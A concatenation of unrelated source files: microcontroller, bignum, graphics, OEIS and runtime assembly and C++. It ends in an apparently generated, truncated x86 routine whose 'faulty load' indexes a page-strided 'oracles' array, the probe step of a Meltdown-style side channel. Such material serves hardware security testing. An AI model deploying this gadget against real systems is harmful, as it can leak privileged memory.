taken when combining code from several examples to avoid potential side ; effects. Also see www.ti.com/grace for a GUI- and www.ti.com/msp430ware ; for an API functional library-approach to peripheral configuration. ; ; --/COPYRIGHT-- ;******************************************************************************* ; MSP430F54xA Demo - Timer_A3, PWM TA1.1-2, Up Mode, DCO SMCLK ; ; Description: This program generates two PWM outputs on P2.2,P2.3 using ; Timer1_A configured for up mode. The value in CCR0, 512-1, defines the PWM ; period and the values in CCR1 and CCR2 the PWM duty cycles. Using ~1.045MHz ; SMCLK as TACLK, the timer period is ~500us with a 75% duty cycle on P2.2 ; and 25% on P2.3. ; ACLK = n/a, SMCLK = MCLK = TACLK = default DCO ~1.045MHz. ; ; MSP430F5438A ; ------------------- ; /|\| | ; | | | ; --|RST | ; | | ; | P2.2/TA1.1|--> CCR1 - 75% PWM ; | P2.3/TA1.2|--> CCR2 - 25% PWM ; ; D. Dang ; Texas Instruments Inc. ; December 2009 ; Built with CCS Version: 4.0.2 ;****************************************************************************** .cdecls C,LIST,"msp430.h" ;------------------------------------------------------------------------------- .def RESET ; Export program entry-point to ; make it known to linker. ;------------------------------------------------------------------------------- .global _main .text ; Assemble to Flash memory ;------------------------------------------------------------------------------- _main RESET mov.w #0x5C00,SP ; Initialize stackpointer mov.w #WDTPW + WDTHOLD,&WDTCTL; Stop WDT bis.b #BIT2 + BIT3,&P2DIR ; P2.2 and P2.3 output bis.b #BIT2 + BIT3,&P2SEL ; P2.2 and P2.3 options select mov.w #512-1,&TA1CCR0 ; PWM Period mov.w #OUTMOD_7,&TA1CCTL1 ; CCR1 reset/set mov.w #384,&TA1CCR1 ; CCR1 PWM duty cycle mov.w #OUTMOD_7,&TA1CCTL2 ; CCR2 reset/set mov.w #128,&TA1CCR2 ; CCR2 PWM duty cycle mov.w #TASSEL_2 + MC_1 + TACLR,&TA1CTL ; SMCLK, up mode, clear TAR bis.w #LPM0,SR ; Enter LPM0 nop ; For debugger ;------------------------------------------------------------------------------- ; Interrupt Vectors ;------------------------------------------------------------------------------- .sect ".reset" ; POR, ext. Reset .short RESET .end
; PROLOGUE(mpn_mul_2) ; X86_64 mpn_mul_2 ; ; Copyright 2010 Jason Moxham ; ; Windows Conversion Copyright 2010 Brian Gladman ; ; This file is part of the MPIR Library. ; The MPIR Library is free software; you can redistribute it and/or modify ; it under the terms of the GNU Lesser General Public License as published ; by the Free Software Foundation; either version 2.1 of the License, or (at ; your option) any later version. ; The MPIR Library is distributed in the hope that it will be useful, but ; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public ; License for more details. ; You should have received a copy of the GNU Lesser General Public License ; along with the MPIR Library; see the file COPYING.LIB. If not, write ; to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, ; Boston, MA 02110-1301, USA. ; ; mp_limb_t mpn_mul_2(mp_ptr, mp_ptr, mp_size_t, mp_limb_t) ; rax rdi rsi rdx rcx ; rax rcx rdx r8 r9 %include "yasm_mac.inc" %define reg_save_list rsi, rdi, rbx CPU nehalem BITS 64 FRAME_PROC mpn_mul_2, 0, reg_save_list mov rbx, 3 lea rdi, [rcx+r8*8-24] lea rsi, [rdx+r8*8-24] sub rbx, r8 mov r8, [r9+8] mov rcx, [r9] mov r11, 0 mov r9, 0 mov rax, [rsi+rbx*8] mov r10, 0 mul rcx add r11, rax mov rax, [rsi+rbx*8] mov [rdi+rbx*8], r11 adc r9, rdx cmp rbx, 0 jge .2 align 16 .1: mul r8 add r9, rax adc r10, rdx mov rax, [rsi+rbx*8+8] mov r11, 0 mul rcx add r9, rax adc r10, rdx adc r11, 0 mov rax, [rsi+rbx*8+8] mul r8 add r10, rax mov rax, [rsi+rbx*8+16] adc r11, rdx mul rcx add r10, rax mov [rdi+rbx*8+8], r9 adc r11, rdx mov r9, 0 mov rax, [rsi+rbx*8+16] adc r9, 0 mul r8 add r11, rax mov [rdi+rbx*8+16], r10 mov rax, [rsi+rbx*8+24] mov r10, 0 adc r9, rdx mul rcx add r11, rax mov rax, [rsi+rbx*8+24] mov [rdi+rbx*8+24], r11 adc r9, rdx adc r10, 0 add rbx, 3 jnc .1 .2: cmp rbx, 1 ja .5 je .4 .3: mul r8 add r9, rax adc r10, rdx mov rax, [rsi+rbx*8+8] mov r11, 0 mul rcx add r9, rax adc r10, rdx adc r11, 0 mov rax, [rsi+rbx*8+8] mul r8 add r10, rax mov rax, [rsi+rbx*8+16] adc r11, rdx mul rcx add r10, rax mov [rdi+rbx*8+8], r9 adc r11, rdx mov r9, 0 mov rax, [rsi+rbx*8+16] adc r9, 0 mul r8 add r11, rax mov [rdi+rbx*8+16], r10 adc r9, rdx mov [rdi+rbx*8+24], r11 mov rax, r9 EXIT_PROC reg_save_list .4: mul r8 add r9, rax adc r10, rdx mov rax, [rsi+rbx*8+8] mov r11, 0 mul rcx add r9, rax adc r10, rdx adc r11, 0 mov rax, [rsi+rbx*8+8] mul r8 add r10, rax adc r11, rdx mov [rdi+rbx*8+8], r9 mov [rdi+rbx*8+16], r10 mov rax, r11 EXIT_PROC reg_save_list .5: mul r8 add r9, rax adc r10, rdx mov [rdi+rbx*8+8], r9 mov rax, r10 END_PROC reg_save_list end
#include "pch.h" #include "Effects.h" #include "FileHelper.h" //-----------------------------------------------------------------------------------------// CEffects::CEffects() { m_pFX = 0; m_hTexture = 0; m_hDrawTexTech = 0; m_hShadowMap = 0; m_hLightWVP = 0; m_hFarPlane = 0; m_hProjTech = 0; m_hColorTech = 0; } //-----------------------------------------------------------------------------------------// CEffects::~CEffects() { if (m_pFX) { m_pFX->Release(); m_pFX = 0; } } //-----------------------------------------------------------------------------------------// bool CEffects::Initialize() { CString strFileName; TCHAR szFilePath[MAX_PATH + _ATL_QUOTES_SPACE]; DWORD dwFLen = ::GetModuleFileName(NULL, szFilePath + 0, MAX_PATH); if (dwFLen == 0 || dwFLen == MAX_PATH) { ATLASSERT(0); return false; } else { strFileName = CString(szFilePath); long nRight = strFileName.ReverseFind(_T('\\')); strFileName = strFileName.Left(nRight); bool bFoundFX = false; int nNumAttempts = 0; //search for the .fx file. Might be better to embed it as a resource while (!bFoundFX && nNumAttempts < 3) { long nRight = strFileName.ReverseFind(_T('\\'));//move one folder up strFileName = strFileName.Left(nRight); nNumAttempts++; if (CFileHelper::DoesFileExist(strFileName + L"\\FaceView.fx")) { bFoundFX = true; strFileName.Append(L"\\FaceView.fx"); } else if (CFileHelper::DoesFileExist(strFileName + L"\\FaceView\\FaceView.fx")) { bFoundFX = true; strFileName.Append(L"\\FaceView\\FaceView.fx"); } } } LPD3DXBUFFER pErrors = NULL; HRESULT hr = D3DXCreateEffectFromFile(gd3dDevice, strFileName, NULL, NULL, 0, NULL, &m_pFX, &pErrors); if (FAILED(hr)) { if (pErrors) { CStringA strErrorsA = (LPCSTR)pErrors->GetBufferPointer(); CA2W wErrors = strErrorsA; CString strErrors = wErrors; MessageBox(NULL, strErrors, L"", MB_OK); pErrors->Release(); } return false; } /*g_hProjTech = m_pFX->GetTechniqueByName("ProjTexTech"); m_hDepthTech = m_pFX->GetTechniqueByName("BuildShadowMapTech");*/ m_hDrawTexTech = m_pFX->GetTechniqueByName("DrawTexTech"); m_hProjTech = m_pFX->GetTechniqueByName("ProjTexTech"); m_hColorTech = m_pFX->GetTechniqueByName("DrawColorTech"); m_hDepthTech = m_pFX->GetTechniqueByName("BuildShadowMapTech"); m_hTexture = m_pFX->GetParameterByName(0, "gTexProj"); m_hShadowMap = m_pFX->GetParameterByName(0, "gShadowMap"); m_hLightWVP = m_pFX->GetParameterByName(0, "gLightWVP"); m_hFarPlane = m_pFX->GetParameterByName(0, "gFarPlane"); return true; }
ldy {c2},x cmp {c1},y bcs {la1}
; A021154: Expansion of 1/((1-x)(1-2x)(1-5x)(1-11x)). ; Submitted by Jon Maiga ; 1,19,256,3066,35007,391545,4339462,47896672,527676853,5808513711,63913994508,703155662118,7735220904139,85089973066117,936002419362994,10296090191237004,113257309994958465,1245831999401562363,13704159940702806520,150745799084160022930,1658203988607908105431,18240244868097732620049,200642698516128784510686,2207069708512685274845496,24277766917815881282994637,267055436716856410478520775,2937609806989829097225845092,32313707892410162979563314302,355450786894122007326128419683 mov $1,1 mov $2,1 mov $3,2 lpb $0 sub $0,1 mul $1,11 mul $3,5 add $3,2 sub $3,$2 add $1,$3 mul $2,2 add $2,1 sub $1,$2 lpe mov $0,$1
/* * Yeppp! library runtime infrastructure * * This file is part of Yeppp! library and licensed under MIT license. * See runtime/LICENSE.txt for details. * */ .include "common.inc" .syntax unified /** * @brief GCC helper function for switch statements optimized using a jump table with 8-bit signed values. * @details GCC may generate a call to this function from Thumb-1 code when optimization is on. * The function makes a table lookup to get an 8-bit signed element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions. * @param index An index for the lookup table with 8-bit signed offsets. Passed in register r0. * @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr. * The lookup table starts immediately after the BX instruction which transfers execution to this function. * In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address. * @note The function does not change any registers other than lr. * @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2. */ BEGIN_THUMB_FUNCTION __gnu_thumb1_case_sqi .arch armv4t PUSH {r1} MOV r1, lr LSRS r1, r1, 1 ADDS r1, r1, r1 LDRSB r1, [r1, r0] ADDS r1, r1 ADD lr, r1 POP {r1} MOV pc, lr END_THUMB_FUNCTION __gnu_thumb1_case_sqi /** * @brief GCC helper function for switch statements optimized using a jump table with 8-bit unsigned values. * @details GCC may generate a call to this function from Thumb-1 code when optimization is on. * The function makes a table lookup to get an 8-bit unsigned element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions. * @param index An index for the lookup table with 8-bit unsigned offsets. Passed in register r0. * @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr. * The lookup table starts immediately after the BX instruction which transfers execution to this function. * In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address. * @note The function does not change any registers other than lr. * @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2. */ BEGIN_THUMB_FUNCTION __gnu_thumb1_case_uqi .arch armv4t PUSH {r1} MOV r1, lr LSRS r1, r1, 1 ADDS r1, r1, r1 LDRB r1, [r1, r0] ADDS r1, r1 ADD lr, r1 POP {r1} MOV pc, lr END_THUMB_FUNCTION __gnu_thumb1_case_uqi /** * @brief GCC helper function for switch statements optimized using a jump table with 16-bit signed values. * @details GCC may generate a call to this function from Thumb-1 code when optimization is on. * The function makes a table lookup to get an 16-bit signed element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions. * @param index An index for the lookup table with 16-bit signed offsets. Passed in register r0. * @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr. * The lookup table starts immediately after the BX instruction which transfers execution to this function. * In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address. * @note The function does not change any registers other than lr. * @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2. */ BEGIN_THUMB_FUNCTION __gnu_thumb1_case_shi .arch armv4t PUSH {r1} MOV r1, lr LSRS r1, r1, 1 ADDS r1, r1, r0 LDRSH r1, [r1, r1] ADDS r1, r1 ADD lr, r1 POP {r1} MOV pc, lr END_THUMB_FUNCTION __gnu_thumb1_case_shi /** * @brief GCC helper function for switch statements optimized using a jump table with 16-bit unsigned values. * @details GCC may generate a call to this function from Thumb-1 code when optimization is on. * The function makes a table lookup to get an 16-bit unsigned element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions. * @param index An index for the lookup table with 16-bit unsigned offsets. Passed in register r0. * @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr. * The lookup table starts immediately after the BX instruction which transfers execution to this function. * In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address. * @note The function does not change any registers other than lr. * @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2. */ BEGIN_THUMB_FUNCTION __gnu_thumb1_case_uhi .arch armv4t PUSH {r1} MOV r1, lr LSRS r1, r1, 1 ADDS r1, r1, r0 LDRH r1, [r1, r1] ADDS r1, r1 ADD lr, r1 POP {r1} MOV pc, lr END_THUMB_FUNCTION __gnu_thumb1_case_uhi /** * @brief GCC helper function for switch statements optimized using a jump table with 32-bit signed values. * @details GCC may generate a call to this function from Thumb-1 code when optimization is on. * The function makes a table lookup to get an 32-bit signed element, which specifies the offset of the target label from the caller site in 16-bit Thumb-1 instructions. * @param index An index for the lookup table with 32-bit signed offsets. Passed in register r0. * @param lut An address of the instruction following the BX instruction which transfers execution to this function. Passed in register lr. * The lookup table starts immediately after the BX instruction which transfers execution to this function. * In EABI this function is called with BL instruction, so the least significant bit of lr is always 0, and the address of the table is the same as return address. * @note The function does not change any registers other than lr. * @note This function never returns to its return address specified in lr. Instead, in returns to lr + lut[index] * 2. */ BEGIN_THUMB_FUNCTION __gnu_thumb1_case_si .arch armv4t PUSH {r1} MOV r1, lr LSRS r1, 2 /* r1 = lr / 4; If lr mod 4 == 2 then C = 1 */ ADCS r1, r1, r0 /* If lr mod 4 < 2 then r1 = lr / 4 + index. Otherwise r1 = (lr + 4) / 4 + index. */ ADDS r1, r1, r1 /* r1 = ceil(lr / 4) * 2 + index * 2 */ LDR r1, [r1, r1] ADDS r1, r1 ADD lr, r1 POP {r1} MOV pc, lr END_THUMB_FUNCTION __gnu_thumb1_case_si
//Basic raycasting setup: render cube with ray start and end coords. Perform raycasting in the fragment shader. #include "glm/gtc/type_ptr.hpp" #include <GL/glew.h> #include "glm/glm.hpp" #include <glm/gtx/transform.hpp> #include "imgui/imgui_impl_vr.h" #include "imgui/imgui_draw_3d.h" #include "InitShader.h" #include <string> #include <iostream> static const std::string bkg_vertex_shader("ray_vs.glsl"); static const std::string bkg_fragment_shader("ray_fs.glsl"); GLuint bkg_shader_program = -1; struct CubeData { GLuint cube_vao; GLuint cube_vbo; GLuint cube_ibo; }; CubeData cube; //uniform variables that get sent to the shader int shader_mode = 0; float shader_params[10] = {0.0f}; glm::vec4 shader_color[4] = {glm::vec4(0.8, 0.7, 0.6, 1.0), glm::vec4(0.7, 0.8, 0.9, 1.0), glm::vec4(1.0, 1.0, 1.0, 1.0), glm::vec4(1.0, 1.0, 1.0, 1.0)}; void glError() { GLenum errCode; if((errCode = glGetError()) != GL_NO_ERROR) { std::cout << "OpenGL Error: " << errCode << std::endl; } } #define BUFFER_OFFSET(i) ((char *)NULL + (i)) void CreateCube() { glGenVertexArrays(1, &cube.cube_vao); glBindVertexArray(cube.cube_vao); using namespace glm; vec3 pos[8] = {vec3(-1.0f, -1.0f, -1.0f), vec3(+1.0f, -1.0f, -1.0f), vec3(+1.0f, +1.0f, -1.0f), vec3(-1.0f, +1.0f, -1.0f), vec3(-1.0f, -1.0f, +1.0f), vec3(+1.0f, -1.0f, +1.0f), vec3(+1.0f, +1.0f, +1.0f), vec3(-1.0f, +1.0f, +1.0f)}; vec3 tex[8] = {vec3(-1.0f, -1.0f, -1.0f), vec3(+1.0f, -1.0f, -1.0f), vec3(+1.0f, +1.0f, -1.0f), vec3(-1.0f, +1.0f, -1.0f), vec3(-1.0f, -1.0f, +1.0f), vec3(+1.0f, -1.0f, +1.0f), vec3(+1.0f, +1.0f, +1.0f), vec3(-1.0f, +1.0f, +1.0f)}; unsigned short idx[36] = { 0,2,1, 2,0,3, //bottom 0,5,4, 5,0,1, //front 1,6,5, 6,1,2, //right 2,7,6, 7,2,3, //back 3,4,7, 4,3,0, //left 4,5,6, 6,7,4};//top //Buffer vertices int datasize = sizeof(pos) + sizeof(tex); glGenBuffers(1, &cube.cube_vbo); glBindBuffer(GL_ARRAY_BUFFER, cube.cube_vbo); glBufferData(GL_ARRAY_BUFFER, datasize, 0, GL_STATIC_DRAW); glBufferSubData(GL_ARRAY_BUFFER, 0, sizeof(pos), pos); glBufferSubData(GL_ARRAY_BUFFER, sizeof(pos), sizeof(tex), tex); //Buffer indices glGenBuffers(1, &cube.cube_ibo); int nIndices = 12; int indexsize = sizeof(idx); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, cube.cube_ibo); glBufferData(GL_ELEMENT_ARRAY_BUFFER, indexsize, idx, GL_STATIC_DRAW); int pos_loc = 0; int tex_coord_loc = 2; glEnableVertexAttribArray(pos_loc); glEnableVertexAttribArray(tex_coord_loc); glVertexAttribPointer(pos_loc, 3, GL_FLOAT, false, 0, BUFFER_OFFSET(0)); glVertexAttribPointer(tex_coord_loc, 3, GL_FLOAT, false, 0, BUFFER_OFFSET(8*3*sizeof(float))); glBindVertexArray(0); glError(); } void DrawCube() { glBindVertexArray(cube.cube_vao); glDrawElements(GL_TRIANGLES, 36, GL_UNSIGNED_SHORT, BUFFER_OFFSET(0)); glBindVertexArray(0); } void Draw2dGui() { if(ImGui_Impl_VR_IsHidden() == true) { return; } static int tab = 0; const ImVec2 texsize = ImGui_Impl_VR_GetTextureSize(); ImGui_Impl_VR_NewFrame(0); ImGui::SetNextWindowSize(texsize); ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f)); ImGui::Begin("Tab 0", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse); bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine(); bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine(); bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine(); bool t3 = ImGui::RadioButton("3", &tab, 3); if(t0 || t1 || t2 || t3) { SetQuadTexture(tab); } static int e = 2; const float scales[4] = {0.25f, 0.5f, 1.0f, 1.5f}; bool e0 = ImGui::RadioButton("Scale 0.25", &e, 0); ImGui::SameLine(); bool e1 = ImGui::RadioButton("0.5", &e, 1); ImGui::SameLine(); bool e2 = ImGui::RadioButton("1.0", &e, 2); ImGui::SameLine(); bool e3 = ImGui::RadioButton("1.5", &e, 3); if(e0 || e1 || e2 || e3) { ImGui_Impl_VR_SetGuiScale(scales[e]); } static bool pinned = false; if(ImGui::Checkbox("Pin", &pinned)) { ImGui_Impl_VR_SetPinned(pinned); } if(ImGui::Button("Screenshot")) { ImGui_Impl_VR_GrabScreenshot(); } static bool keyboard = false; if(ImGui::Checkbox("Show Keyboard", &keyboard)) { if(keyboard == true) { ImGui_Impl_VR_ShowKeyboard(); } else { ImGui_Impl_VR_HideKeyboard(); } } //static bool test_opened = true; //ImGui::ShowTestWindow(&test_opened); ImGui::End(); ImGui_Impl_VR_Render(0); ImGui_Impl_VR_NewFrame(1); ImGui::SetNextWindowSize(texsize); ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f)); ImGui::Begin("Tab 1", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse); { bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine(); bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine(); bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine(); bool t3 = ImGui::RadioButton("3", &tab, 3); if(t0 || t1 || t2 || t3) { SetQuadTexture(tab); } } static char text1[1024]; ImGui_Impl_VR_InputText("Sample text input 1", text1, 1024); static char text2[1024]; ImGui_Impl_VR_InputText("Sample text input 2", text2, 1024); if(ImGui::SliderInt("shader mode", &shader_mode, 0, 10)) { } ImGui::End(); ImGui_Impl_VR_Render(1); ImGui_Impl_VR_NewFrame(2); ImGui::SetNextWindowSize(texsize); ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f)); ImGui::Begin("Tab 2", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse); { bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine(); bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine(); bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine(); bool t3 = ImGui::RadioButton("3", &tab, 3); if(t0 || t1 || t2 || t3) { SetQuadTexture(tab); } } const int n_sliders = 10; for (int i = 0; i<n_sliders; i++) { std::string name = std::string("Slider ") + std::to_string(i); ImGui::SliderFloat(name.c_str(), &shader_params[i], 0.0f, +1.0f); } ImGui::End(); ImGui_Impl_VR_Render(2); ImGui_Impl_VR_NewFrame(3); ImGui::SetNextWindowSize(texsize); ImGui::SetNextWindowPos(ImVec2(0.0f, 0.0f)); ImGui::Begin("Tab 3", 0, ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoCollapse); { bool t0 = ImGui::RadioButton("Tab 0", &tab, 0); ImGui::SameLine(); bool t1 = ImGui::RadioButton("1", &tab, 1); ImGui::SameLine(); bool t2 = ImGui::RadioButton("2", &tab, 2); ImGui::SameLine(); bool t3 = ImGui::RadioButton("3", &tab, 3); if(t0 || t1 || t2 || t3) { SetQuadTexture(tab); } } for(int i=0; i<4; i++) { std::string name = std::string("Color ") + std::to_string(i); if(ImGui::ColorEdit4(name.c_str(), &shader_color[i].r, true)) { } } ImGui::End(); ImGui_Impl_VR_Render(3); } void DrawRaycast(glm::mat4& Pvr, glm::mat4& Vvr, glm::mat4& Mvr) { float nearClip = 1.0f; float farClip = 5.0f; static float frame = 0.0f; static int frame_id = 0; frame += 1.0f/30.0f; frame_id++; glError(); const glm::mat4 Q1 = glm::inverse(Vvr*Mvr)*glm::scale(glm::vec3(nearClip)); const glm::mat4 Q2 = glm::inverse(Vvr*Mvr)*glm::scale(glm::vec3(farClip)); glUseProgram(bkg_shader_program); glm::mat4 PVM = Pvr*Vvr*Mvr; glUniformMatrix4fv(0, 1, false, glm::value_ptr(PVM)); glUniformMatrix4fv(1, 1, false, glm::value_ptr(Pvr)); glUniformMatrix4fv(2, 1, false, glm::value_ptr(Q1)); glUniformMatrix4fv(3, 1, false, glm::value_ptr(Q2)); glUniform1f(4, frame); glUniform1i(8, shader_mode); glUniform1fv(9, 10, shader_params); glUniform4fv(19, 4, glm::value_ptr(shader_color[0])); DrawCube(); } void ReloadShader() { GLuint new_shader = InitShader(bkg_vertex_shader.c_str(), bkg_fragment_shader.c_str()); if(new_shader == -1) // loading failed { glClearColor(1.0f, 0.0f, 1.0f, 0.0f); } else { glClearColor(0.35f, 0.35f, 0.35f, 0.0f); if(bkg_shader_program != -1) { glDeleteProgram(bkg_shader_program); } bkg_shader_program = new_shader; } } void InitRaycast() { bkg_shader_program = InitShader(bkg_vertex_shader.c_str(), bkg_fragment_shader.c_str()); CreateCube(); SetQuadTexture(0); }
; A087654: Decimal expansion of D(1) where D(x) is the Dawson function. ; Submitted by Christian Krause ; 5,3,8,0,7,9,5,0,6,9,1,2,7,6,8,4,1,9,1,3,6,3,8,7,4,2,0,4,0,7,5,5,6,7,5,4,7,9,1,9,7,5,0,0,1,7,5,3,9,3,3,3,1,8,8,7,5,2,1,9,0,9,8,0,0,2,5,6,6,5,0,3,3,3,0,5,2,7,1,0,6,2,9,7,2,6,0,8,6,1,5,0,2,7,4,3,0,8,0,9 add $0,1 mov $2,2 mov $3,$0 mul $3,4 lpb $3 mul $1,$3 add $1,$2 mul $2,2 cmp $6,0 add $5,$6 div $1,$5 div $2,$5 add $2,$1 mul $1,2 sub $3,1 lpe mul $2,2 mov $4,10 pow $4,$0 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
#include "toast/module.hpp" using namespace std; static vector<Toast::ModuleData> v; static int mods_found = 0; static void load_module_datas() { int i = 0, current_mods = 0; for (i = 0; i < 128; i++) { Toast::Memory::ModuleActState state = Toast::Memory::shared()->get_module_activity_state(i); if (state != Toast::Memory::ModuleActState::NOT_FOUND) { current_mods = i+1; } else { break; } } // Reload modules if any more have popped up. if (current_mods != mods_found) { v.clear(); for (i = 0; i < current_mods; i++) { Toast::Memory::ModuleActState state = Toast::Memory::shared()->get_module_activity_state(i); if (state != Toast::Memory::ModuleActState::NOT_FOUND) { Toast::Memory::PrivatePool pool; char buf[pool.SIZE]; Toast::Memory::copy_private_pool(i, &buf[0]); pool.map_to(buf); string name_str(pool.get_module_name()); string file_str(pool.get_module_filepath()); Toast::ModuleData d = { name_str, file_str, i, state }; v.push_back(d); } } mods_found = current_mods; } } vector<Toast::ModuleData> Toast::get_all_modules() { load_module_datas(); return v; } int Toast::module_id(std::string name) { load_module_datas(); for (Toast::ModuleData data : v) { if (data.name == name) return data.module_idx; } return -1; }
; A168024: Noncomposite numbers in the northwestern ray of the Ulam spiral as oriented on the March 1964 cover of Scientific American. ; Submitted by Christian Krause ; 1,5,17,37,101,197,257,401,577,677,1297,1601,2917,3137,4357,5477,7057,8101,8837,12101,13457,14401,15377,15877,16901,17957,21317,22501,24337,25601,28901,30977,32401,33857,41617,42437,44101,50177,52901,55697,57601,62501,65537,67601,69697,72901,78401,80657,90001,93637,98597,106277,115601,122501,147457,148997,156817,160001,164837,176401,184901,190097,193601,197137,215297,217157,220901,224677,240101,246017,287297,295937,309137,324901,331777,341057,352837,401957,404497,414737,417317,427717,454277 lpb $0 trn $0,1 seq $0,230312 ; Squares which cannot be written as the sum of a smaller nonzero square and twice a triangular number. mov $2,$0 mov $0,$1 lpe mov $0,$2 mul $0,4 add $0,1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_A_ht+0x167e9, %rsi nop cmp $42572, %rdi mov (%rsi), %r11d nop nop xor %r15, %r15 lea addresses_D_ht+0x2fe9, %rsi xor $30488, %r11 mov $0x6162636465666768, %r8 movq %r8, %xmm5 movups %xmm5, (%rsi) nop nop nop nop sub %rdi, %rdi lea addresses_A_ht+0x160e9, %rsi lea addresses_WC_ht+0x1ca9, %rdi nop nop nop nop inc %r8 mov $113, %rcx rep movsw and %rsi, %rsi lea addresses_WC_ht+0x8ee9, %rsi lea addresses_D_ht+0x1bdc9, %rdi nop nop nop and $20287, %r11 mov $97, %rcx rep movsb nop nop nop add $9564, %rcx lea addresses_WC_ht+0xe7a9, %r15 nop nop nop add %r10, %r10 movb (%r15), %r11b and $2074, %r11 lea addresses_UC_ht+0xb981, %rsi lea addresses_UC_ht+0x86c9, %rdi clflush (%rdi) add $5962, %r12 mov $4, %rcx rep movsl nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x13f9, %r10 sub %r8, %r8 movw $0x6162, (%r10) nop nop inc %r10 lea addresses_UC_ht+0x20e9, %rcx nop nop nop nop nop cmp $9657, %r10 mov (%rcx), %si nop nop nop dec %rcx lea addresses_normal_ht+0x16965, %rcx nop sub $55817, %rsi movl $0x61626364, (%rcx) xor %rsi, %rsi lea addresses_WC_ht+0x194e9, %rsi clflush (%rsi) nop nop and %r15, %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm7 and $0xffffffffffffffc0, %rsi vmovntdq %ymm7, (%rsi) add %r15, %r15 lea addresses_normal_ht+0xdb69, %rsi lea addresses_A_ht+0x15769, %rdi nop nop nop nop add $61892, %r15 mov $13, %rcx rep movsq nop nop nop sub $58451, %rdi lea addresses_WT_ht+0x40e9, %rsi lea addresses_WT_ht+0x146e9, %rdi clflush (%rsi) clflush (%rdi) nop nop nop add %r8, %r8 mov $26, %rcx rep movsw nop nop cmp %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r8 push %r9 push %rax push %rbx push %rsi // Faulty Load mov $0x18e90e00000006e9, %rax clflush (%rax) nop nop nop nop sub $20966, %rsi mov (%rax), %r9d lea oracles, %rax and $0xff, %r9 shlq $12, %r9 mov (%rax,%r9,1), %r9 pop %rsi pop %rbx pop %rax pop %r9 pop %r8 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 